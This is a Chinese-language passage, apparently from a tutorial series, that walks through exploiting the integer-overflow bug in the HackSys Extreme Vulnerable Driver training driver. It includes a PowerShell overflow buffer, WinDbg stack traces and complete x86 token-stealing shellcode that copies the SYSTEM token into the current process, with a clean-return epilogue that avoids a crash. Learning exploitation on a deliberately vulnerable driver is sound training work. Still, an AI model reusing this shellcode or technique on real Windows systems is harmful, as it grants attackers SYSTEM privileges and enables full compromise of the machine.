Question

如前所见，我们崩溃在了异常处理例程。这并不完全可信，我们真正想要做的是一个宝贵的覆盖以致于当 TriggerIntegerOverflow 函数退出时可以获取执行体的控制。

我将此任务留给勤勉的读者。我给后来人“发明”了一些粗糙的 Powershell 代码来做这个 exp 开发，下面的代码可以用来创建一个模式缓冲区（pattern buffer）。

$Pattern_Create = ([system.Text.Encoding]::ASCII).GetBytes("Aa0Aa1Aa2Aa3Aa........")

覆盖函数的返回值为 0x42424242，我们可以使用下面的结构。

$Buffer = [Byte[]](0x41)*0x828 + [Byte[]](0x42)*0x4 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff

与内核栈溢出类似，我们得看看要如何修改 shellcode 的尾部来防止一个 BSOD！首先让我们看看正常的执行流如何执行。我们在 TriggerIntegerOverflow 返回指令下一个断点。

kd> bp 9528c9b4
kd> g
****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x023CAAEC
[+] UserBuffer Size: 0x108
[+] KernelBuffer: 0xA46B72AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800   ret   8   <-------[Stack]  a46b7ad4 9528c9da HackSysExtremeVulnerableDriver+0x49da
                           a46b7ad8 023cabf0 
                           a46b7adc 00000108 
                           a46b7ae0 a46b7afc 
                           a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
HackSysExtremeVulnerableDriver+0x49da:
9528c9da 5d     pop   ebp   <-------[Stack]  a46b7ae0 a46b7afc 
                           a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
                           a46b7ae8 85edde80
HackSysExtremeVulnerableDriver+0x49db:
9528c9db c20800   ret   8   <-------[Stack]  a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
                           a46b7ae8 85edde80 
                           a46b7aec 85eddef0 
                           a46b7af0 85396620 

****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x0234FAA4
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x96F4F2AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800   ret   8   <-------[Stack]  96f4fad4 42424242 
                           96f4fad8 023502d0 
                           96f4fadc ffffffff 
                           96f4fae0 96f4fafc 
                           96f4fae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6

看起来和第十部分处理的栈溢出完全一致。检查一下触发整数溢出时的栈。

我们可以修改 shellcode 的结尾，保存丢失的指令。

$Shellcode = [Byte[]] @(
  #---[Setup]
  0x60,                 # pushad
  0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
  0x8B, 0x40, 0x50,           # mov eax, [eax + EPROCESS_OFFSET]
  0x89, 0xC1,             # mov ecx, eax (Current _EPROCESS structure)
  0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
  #---[Copy System PID token]
  0xBA, 0x04, 0x00, 0x00, 0x00,     # mov edx, 4 (SYSTEM PID)
  0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
  0x2D, 0xB8, 0x00, 0x00, 0x00,     # sub eax, FLINK_OFFSET       |
  0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx   |
  0x75, 0xED,             # jnz               ->|
  0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
  0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
  #---[Recover]
  0x61,                 # popad
  0x31, 0xC0,             # NTSTATUS -> STATUS_SUCCESS :p
  0x5D,                 # pop ebp
  0xC2, 0x08, 0x00          # ret 8
)